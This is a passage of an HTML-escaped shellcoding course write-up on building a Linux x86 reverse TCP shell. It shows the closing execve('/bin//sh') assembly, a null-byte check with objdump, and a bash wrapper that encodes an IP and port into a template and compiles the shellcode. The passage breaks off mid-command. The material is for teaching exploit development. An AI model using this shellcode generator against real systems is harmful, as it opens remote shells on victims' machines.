    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x68732f2f&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; hs// - take care to the little endian representation&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x6e69622f&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;; nib/&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;    &lt;span class=&quot;c1&quot;&gt;; pointer to command string&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ecx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;al&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;11&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; __NR_execve&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x80&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s compile, run and see if we are receiving our connection back:&lt;br /&gt;
&lt;img src=&quot;https://phackt.org/public/images/slae/assignment2/image1.png&quot; alt=&quot;image1&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Perfect, and what about the bad characters:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;objdump &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; ./shell_reverse_tcp &lt;span class=&quot;nt&quot;&gt;-M&lt;/span&gt; intel| &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;00
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Nothing, good. Let’s update our &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment2/wrapper.sh&quot;&gt;wrapper.sh&lt;/a&gt; script and create our &lt;a href=&quot;https://github.com/phackt/slae/blob/master/assignment2/shell_reverse_tcp.template&quot;&gt;shell_reverse_tcp.template&lt;/a&gt; file. Please click and check the sources on Github.&lt;/p&gt;

&lt;p&gt;The wrapper.sh and the template file have been enhanced in order to avoid null bytes in port number and IP address:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#! /bin/bash&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#####################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Displays help&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#####################################&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;help&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(){&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Usage: &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$0&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &amp;lt;ip&amp;gt; &amp;lt;port_number&amp;gt; &amp;lt;file&amp;gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;1
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;#####################################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Checking is root&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;#####################################&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$# &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 3 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
    &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;help
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$1&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$2&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$3&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;##############################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Checking the port number&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;##############################&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lt&lt;/span&gt; 1 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-gt&lt;/span&gt; 65535 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then
	&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] Port number should be between 1 and 65535! Exiting...&quot;&lt;/span&gt;
	&lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Converting port in hex and little endian representation&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;%04x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PORT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;#${HEXFMTPORT:0:2})) -ne 0 ] &amp;amp;&amp;amp; echo 0x${HEXFMTPORT:0:2} || echo dl)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;$((&lt;/span&gt;&lt;span class=&quot;m&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;#${HEXFMTPORT: -2})) -ne 0 ] &amp;amp;&amp;amp; echo 0x${HEXFMTPORT: -2}	 || echo dl)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# final nasm filename&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%.*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;.nasm

&lt;span class=&quot;c&quot;&gt;########################&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Splitting IP address&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;########################&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IP1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f1&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IP2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f2&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IP3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f3&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IP4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f4&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Converting IP in hex and little endian representation&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTIP1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0x%x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;dl&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTIP2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0x%x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;dl&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTIP3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP3&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0x%x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP3&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;dl&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;HEXFMTIP4&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP4&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ne&lt;/span&gt; 0 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;0x%x&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;IP4&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo &lt;/span&gt;dl&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# for debugging purpose&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;----------------------------&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTPORT:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTPORT1:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTPORT2:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTIP1:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTIP2:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTIP3:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP3&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;[*] HEXFMTIP4:&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP4&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;----------------------------&quot;&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;

&lt;span class=&quot;c&quot;&gt;# Replacing port and ip patterns&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# Generating a new file source and compiling&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;s/PORT1/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;i &lt;span class=&quot;s2&quot;&gt;&quot;s/PORT2/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTPORT2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;i &lt;span class=&quot;s2&quot;&gt;&quot;s/IP1/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;i &lt;span class=&quot;s2&quot;&gt;&quot;s/IP2/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP2&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;i &lt;span class=&quot;s2&quot;&gt;&quot;s/IP3/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP3&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sed&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;i &lt;span class=&quot;s2&quot;&gt;&quot;s/IP4/&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;HEXFMTIP4&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;NASM_FILENAME&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
./compile.sh &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%.*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
objdump &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;d &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;%.*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&apos;[0-9a-f]:&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;v &lt;span class=&quot;s1&quot;&gt;&apos;file&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cut&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;f2 &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;d:|cut &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;f1-6 &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;d&lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;s &lt;span class=&quot;s1&quot;&gt;&apos; &apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;tr&lt;/span&gt; 